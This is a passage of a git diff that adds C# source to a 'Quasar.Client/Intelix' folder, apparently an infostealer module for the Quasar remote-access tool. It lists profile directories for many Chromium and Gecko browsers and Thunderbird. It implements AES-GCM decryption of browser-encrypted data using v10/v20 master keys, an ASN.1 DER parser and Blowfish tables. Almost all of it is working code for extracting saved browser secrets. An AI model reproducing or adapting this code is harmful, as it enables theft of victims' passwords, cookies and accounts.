"\\Tencent\\QQBrowser\\User Data", + localappdata + "\\Naver\\Naver Whale\\User Data", + localappdata + "\\Baidu\\BaiduBrowser\\User Data", + localappdata + "\\360Browser\\Browser\\User Data", + localappdata + "\\Google(x86)\\Chrome\\User Data", + localappdata + "\\Epic Privacy Browser\\User Data", + localappdata + "\\CatalinaGroup\\Citrio\\User Data", + localappdata + "\\Yandex\\YandexBrowser\\User Data", + localappdata + "\\MapleStudio\\ChromePlus\\User Data", + localappdata + "\\AVAST Software\\Browser\\User Data", + localappdata + "\\BraveSoftware\\Brave-Browser\\User Data", + localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience", + localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data", + localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer" + }; + + public static string[] Gecko = new string[18] + { + appdata + "\\Mozilla\\Firefox\\Profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\K-Meleon\\Profiles", + appdata + "\\Thunderbird\\Profiles", + appdata + "\\Comodo\\IceDragon\\Profiles", + appdata + "\\8pecxstudios\\Cyberfox\\Profiles", + appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles", + appdata + "\\Moonchild Productions\\Pale Moon\\Profiles", + appdata + "\\Ghostery Browser\\Profiles", + appdata + "\\Undetectable\\Profiles", + appdata + "\\Sielo\\profiles", + appdata + "\\Waterfox\\Profiles", + appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles", + appdata + "\\Netscape\\Navigator\\Profiles", + appdata + "\\Mozilla\\SeaMonkey\\Profiles", + appdata + "\\FlashPeak\\SlimBrowser\\Profiles", + appdata + "\\Avant Profiles", + appdata + "\\Flock\\Profiles" + }; + + public static string GetBrowserName(string path) + { + string[] array = path.Split(Path.DirectorySeparatorChar); + if (path.Contains("Opera")) + { + return array[6].Replace(" Stable", ""); + } + return array[5]; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs new file mode 100755 index 0000000..c68531f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs @@ -0,0 +1,99 @@ +using System; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public static class AesGcm +{ + private const int MacBitSize = 128; + + private const int NonceBitSize = 96; + + private const int TagBytes = 16; + + private const int NonceBytes = 12; + + private const int HeaderBytes = 3; + + public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix) + { + if (encryptedData.Length < 31) + { + return null; + } + string text = Encoding.ASCII.GetString(encryptedData, 0, 3); + byte[] array = new byte[12]; + Buffer.BlockCopy(encryptedData, 3, array, 0, 12); + int num = 15; + int num2 = encryptedData.Length - num - 16; + if (num2 < 0) + { + return null; + } + byte[] array2 = new byte[num2]; + if (num2 > 0) + { + Buffer.BlockCopy(encryptedData, num, array2, 0, num2); + } + byte[] array3 = new byte[16]; + Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16); + byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null)); + if (array4 == null) + { + return null; + } + byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3); + if (array5 == null) + { + return null; + } + if (checkprefix && HasPrefix(array5)) + { + if (array5.Length <= 32) + { + return array5; + } + int num3 = 0; + for (int i = 0; i < 32; i++) + { + byte b = array5[i]; + if (b >= 32 && b <= 126) + { + num3++; + } + if (num3 > 2) + { + break; + } + } + if (num3 > 2) + { + if (array5.Length <= 32) + { + return new byte[0]; + } + byte[] array6 = new byte[array5.Length - 32]; + Array.Copy(array5, 32, array6, 0, array6.Length); + return array6; + } + } + return array5; + } + + private static bool HasPrefix(byte[] plainText) + { + if (plainText.Length < 32) + { + return false; + } + int num = 0; + for (int i = 0; i < 32; i++) + { + if (plainText[i] >= 32 && plainText[i] <= 126) + { + num++; + } + } + return num > 2; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs new file mode 100755 index 0000000..916a80a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs @@ -0,0 +1,383 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class AesGcm256 +{ + private static readonly byte[] SBox = new byte[256] + { + 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, + 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, + 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, + 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, + 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, + 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, + 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, + 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, + 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, + 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, + 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, + 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, + 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, + 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, + 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, + 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, + 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, + 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, + 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, + 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, + 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, + 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, + 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, + 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, + 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, + 45, 15, 176, 84, 187, 22 + }; + + private static readonly byte[] Rcon = new byte[256] + { + 0, 1, 2, 4, 8, 16, 32, 64, 128, 27, + 54, 108, 216, 171, 77, 154, 47, 94, 188, 99, + 198, 151, 53, 106, 212, 179, 125, 250, 239, 197, + 145, 57, 114, 228, 211, 189, 97, 194, 159, 37, + 74, 148, 51, 102, 204, 131, 29, 58, 116, 232, + 203, 141, 1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0 + }; + + private byte[] Key; + + private byte[,] RoundKeys; + + public AesGcm256(byte[] key) + { + if (key.Length != 32) + { + throw new ArgumentException("Key length must be 256 bits."); + } + Key = new byte[32]; + Array.Copy(key, Key, 32); + KeyExpansion(); + } + + public static byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + return new AesGcm256(key).Decrypt(cipherText, authTag, iv, aad); + } + + private void KeyExpansion() + { + int num = 8; + int num2 = 4; + int num3 = 14; + RoundKeys = new byte[num2 * (num3 + 1), 4]; + for (int i = 0; i < num; i++) + { + RoundKeys[i, 0] = Key[4 * i]; + RoundKeys[i, 1] = Key[4 * i + 1]; + RoundKeys[i, 2] = Key[4 * i + 2]; + RoundKeys[i, 3] = Key[4 * i + 3]; + } + byte[] array = new byte[4]; + for (int j = num; j < num2 * (num3 + 1); j++) + { + array[0] = RoundKeys[j - 1, 0]; + array[1] = RoundKeys[j - 1, 1]; + array[2] = RoundKeys[j - 1, 2]; + array[3] = RoundKeys[j - 1, 3]; + if (j % num == 0) + { + byte b = array[0]; + array[0] = array[1]; + array[1] = array[2]; + array[2] = array[3]; + array[3] = b; + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + array[0] ^= Rcon[j / num]; + } + else if (num > 6 && j % num == 4) + { + array[0] = SBox[array[0]]; + array[1] = SBox[array[1]]; + array[2] = SBox[array[2]]; + array[3] = SBox[array[3]]; + } + RoundKeys[j, 0] = (byte)(RoundKeys[j - num, 0] ^ array[0]); + RoundKeys[j, 1] = (byte)(RoundKeys[j - num, 1] ^ array[1]); + RoundKeys[j, 2] = (byte)(RoundKeys[j - num, 2] ^ array[2]); + RoundKeys[j, 3] = (byte)(RoundKeys[j - num, 3] ^ array[3]); + } + } + + private void AddRoundKey(byte[,] state, int round) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[j, i] ^= RoundKeys[round * 4 + i, j]; + } + } + } + + private void SubBytes(byte[,] state) + { + for (int i = 0; i < 4; i++) + { + for (int j = 0; j < 4; j++) + { + state[i, j] = SBox[state[i, j]]; + } + } + } + + private void ShiftRows(byte[,] state) + { + byte b = state[1, 0]; + state[1, 0] = state[1, 1]; + state[1, 1] = state[1, 2]; + state[1, 2] = state[1, 3]; + state[1, 3] = b; + b = state[2, 0]; + state[2, 0] = state[2, 2]; + state[2, 2] = b; + b = state[2, 1]; + state[2, 1] = state[2, 3]; + state[2, 3] = b; + b = state[3, 3]; + state[3, 3] = state[3, 2]; + state[3, 2] = state[3, 1]; + state[3, 1] = state[3, 0]; + state[3, 0] = b; + } + + private void MixColumns(byte[,] state) + { + byte[] array = new byte[4]; + for (int i = 0; i < 4; i++) + { + array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]); + array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]); + array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i])); + array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i])); + state[0, i] = array[0]; + state[1, i] = array[1]; + state[2, i] = array[2]; + state[3, i] = array[3]; + } + } + + private byte GFMultiply(byte a, byte b) + { + byte b2 = 0; + for (int i = 0; i < 8; i++) + { + if ((b & 1) != 0) + { + b2 ^= a; + } + bool num = (a & 0x80) != 0; + a <<= 1; + if (num) + { + a ^= 0x1B; + } + b >>= 1; + } + return b2; + } + + private void EncryptBlock(byte[] input, byte[] output) + { + int num = 4; + int num2 = 14; + byte[,] array = new byte[4, num]; + for (int i = 0; i < 16; i++) + { + array[i % 4, i / 4] = input[i]; + } + AddRoundKey(array, 0); + for (int j = 1; j <= num2 - 1; j++) + { + SubBytes(array); + ShiftRows(array); + MixColumns(array); + AddRoundKey(array, j); + } + SubBytes(array); + ShiftRows(array); + AddRoundKey(array, num2); + for (int k = 0; k < 16; k++) + { + output[k] = array[k % 4, k / 4]; + } + } + + private byte[] GF128Multiply(byte[] X, byte[] Y) + { + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + Array.Copy(Y, array2, 16); + for (int i = 0; i < 128; i++) + { + if (((X[i / 8] >> 7 - i % 8) & 1) == 1) + { + for (int j = 0; j < 16; j++) + { + array[j] ^= array2[j]; + } + } + bool flag = (array2[15] & 1) == 1; + for (int num = 15; num >= 0; num--) + { + array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7)); + } + if (flag) + { + array2[0] ^= 225; + } + } + return array; + } + + private byte[] GHASH(byte[] H, byte[] A, byte[] C) + { + _ = (A.Length + 15) / 16; + _ = (C.Length + 15) / 16; + byte[] array = new byte[16]; + byte[] array2 = new byte[16]; + byte[] array3 = new byte[16]; + int num; + for (int i = 0; i < A.Length; i += num) + { + Array.Clear(array3, 0, 16); + num = Math.Min(16, A.Length - i); + Array.Copy(A, i, array3, 0, num); + for (int j = 0; j < 16; j++) + { + array2[j] = (byte)(array[j] ^ array3[j]); + } + array = GF128Multiply(array2, H); + } + int num2; + for (int i = 0; i < C.Length; i += num2) + { + Array.Clear(array3, 0, 16); + num2 = Math.Min(16, C.Length - i); + Array.Copy(C, i, array3, 0, num2); + for (int k = 0; k < 16; k++) + { + array2[k] = (byte)(array[k] ^ array3[k]); + } + array = GF128Multiply(array2, H); + } + byte[] array4 = new byte[16]; + ulong num3 = (ulong)A.Length * 8uL; + ulong num4 = (ulong)C.Length * 8uL; + for (int l = 0; l < 8; l++) + { + array4[7 - l] = (byte)(num3 >> l * 8); + array4[15 - l] = (byte)(num4 >> l * 8); + } + for (int m = 0; m < 16; m++) + { + array2[m] = (byte)(array[m] ^ array4[m]); + } + return GF128Multiply(array2, H); + } + + private void IncrementCounter(byte[] counterBlock) + { + int num = 15; + while (num >= 12 && ++counterBlock[num] == 0) + { + num--; + } + } + + public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad) + { + if (aad == null) + { + aad = new byte[0]; + } + byte[] array = new byte[16]; + EncryptBlock(new byte[16], array); + byte[] array2 = new byte[16]; + if (iv.Length == 12) + { + Array.Copy(iv, 0, array2, 0, 12); + array2[15] = 1; + } + else + { + array2 = GHASH(array, null, iv); + } + byte[] array3 = new byte[ciphertext.Length]; + byte[] array4 = new byte[16]; + Array.Copy(array2, array4, 16); + int num = ciphertext.Length / 16; + int num2 = ciphertext.Length % 16; + int num3 = ((num2 == 0) ? num : (num + 1)); + for (int i = 0; i < num3; i++) + { + IncrementCounter(array4); + byte[] array5 = new byte[16]; + EncryptBlock(array4, array5); + int num4 = ((i < num) ? 16 : num2); + for (int j = 0; j < num4; j++) + { + array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]); + } + } + byte[] array6 = GHASH(array, aad, ciphertext); + byte[] array7 = new byte[16]; + EncryptBlock(array2, array7); + byte[] array8 = new byte[16]; + for (int k = 0; k < 16; k++) + { + array8[k] = (byte)(array7[k] ^ array6[k]); + } + if (!VerifyTag(tag, array8)) + { + throw new Exception("Authentication tag does not match. Decryption failed."); + } + return array3; + } + + private bool VerifyTag(byte[] tag1, byte[] tag2) + { + if (tag1.Length != tag2.Length) + { + return false; + } + int num = 0; + for (int i = 0; i < tag1.Length; i++) + { + num |= tag1[i] ^ tag2[i]; + } + return num == 0; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs new file mode 100755 index 0000000..1ad9588 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs @@ -0,0 +1,95 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Asn1Der +{ + public enum Type + { + Sequence = 48, + Integer = 2, + OctetString = 4, + ObjectIdentifier = 6 + } + + public Asn1DerObject Parse(byte[] toParse) + { + Asn1DerObject asn1DerObject = new Asn1DerObject(); + for (int i = 0; i < toParse.Length; i++) + { + switch ((Type)toParse[i]) + { + case Type.Sequence: + { + byte[] array; + if (asn1DerObject.Lenght == 0) + { + asn1DerObject.Type = Type.Sequence; + asn1DerObject.Lenght = toParse.Length - (i + 2); + array = new byte[asn1DerObject.Lenght]; + } + else + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Sequence, + Lenght = toParse[i + 1] + }); + array = new byte[toParse[i + 1]]; + } + int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length); + Array.Copy(toParse, i + 2, array, 0, length); + asn1DerObject.Objects.Add(Parse(array)); + i = i + 1 + toParse[i + 1]; + break; + } + case Type.Integer: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.Integer, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array3.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght; + break; + } + case Type.OctetString: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.OctetString, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array4.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght; + break; + } + case Type.ObjectIdentifier: + { + asn1DerObject.Objects.Add(new Asn1DerObject + { + Type = Type.ObjectIdentifier, + Lenght = toParse[i + 1] + }); + byte[] array = new byte[toParse[i + 1]]; + int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]); + Array.Copy(toParse, i + 2, array, 0, length); + Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray(); + asn1DerObject.Objects[array2.Length - 1].Data = array; + i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght; + break; + } + } + } + return asn1DerObject; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs new file mode 100755 index 0000000..cdcbeec --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs @@ -0,0 +1,71 @@ +using System.Collections.Generic; +using System.Text; + +namespace Intelix.Helper.Encrypted; + +public class Asn1DerObject +{ + public Asn1Der.Type Type { get; set; } + + public int Lenght { get; set; } + + public List Objects { get; } + + public byte[] Data { get; set; } + + public Asn1DerObject() + { + Objects = new List(); + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder(); + StringBuilder stringBuilder2 = new StringBuilder(); + switch (Type) + { + case Asn1Der.Type.Sequence: + stringBuilder.AppendLine("SEQUENCE {"); + break; + case Asn1Der.Type.Integer: + { + byte[] data = Data; + foreach (byte b3 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b3); + } + stringBuilder.AppendLine("\tINTEGER " + stringBuilder2); + break; + } + case Asn1Der.Type.OctetString: + { + byte[] data = Data; + foreach (byte b2 in data) + { + stringBuilder2.AppendFormat("{0:X2}", b2); + } + stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2); + break; + } + case Asn1Der.Type.ObjectIdentifier: + { + byte[] data = Data; + foreach (byte b in data) + { + stringBuilder2.AppendFormat("{0:X2}", b); + } + stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2); + break; + } + } + foreach (Asn1DerObject @object in Objects) + { + stringBuilder.Append(@object); + } + if (Type.Equals(Asn1Der.Type.Sequence)) + { + stringBuilder.AppendLine("}"); + } + return stringBuilder.ToString(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs new file mode 100755 index 0000000..0229343 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs @@ -0,0 +1,311 @@ +using System; + +namespace Intelix.Helper.Encrypted; + +public class Blowfish +{ + public enum Endian + { + Little, + Big + } + + public readonly int MinUserKeyLength = 1; + + public readonly int MaxUserKeyLength = 56; + + public readonly int BlockSize = 8; + + private readonly uint[] OriginPBox = new uint[18] + { + 608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u, + 3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u + }; + + private readonly uint[,] OriginSBox = new uint[4, 256] + { + { + 3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u, + 134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u, + 2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u, + 1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u, + 1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u, + 3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u, + 1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u, + 258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u, + 1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u, + 1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u, + 1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u, + 634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u, + 1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u, + 1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u, + 1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u, + 1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u, + 1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u, + 3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u, + 2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u, + 2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u, + 3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u, + 2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u, + 2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u, + 545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u, + 3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u, + 4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u + }, + { + 1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u, + 1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u, + 2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u, + 1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u, + 2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u, + 2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u, + 3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u, + 1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u, + 2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u, + 3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u, + 70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u, + 2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u, + 3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u, + 3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u, + 4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u, + 53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u, + 1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u, + 2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u, + 1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u, + 4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u, + 3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u, + 4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u, + 1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u, + 1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u, + 2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u, + 1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u + }, + { + 3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u, + 1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u, + 3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u, + 170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u, + 2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u, + 648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u, + 1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u, + 1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u, + 133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u, + 3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u, + 2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u, + 3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 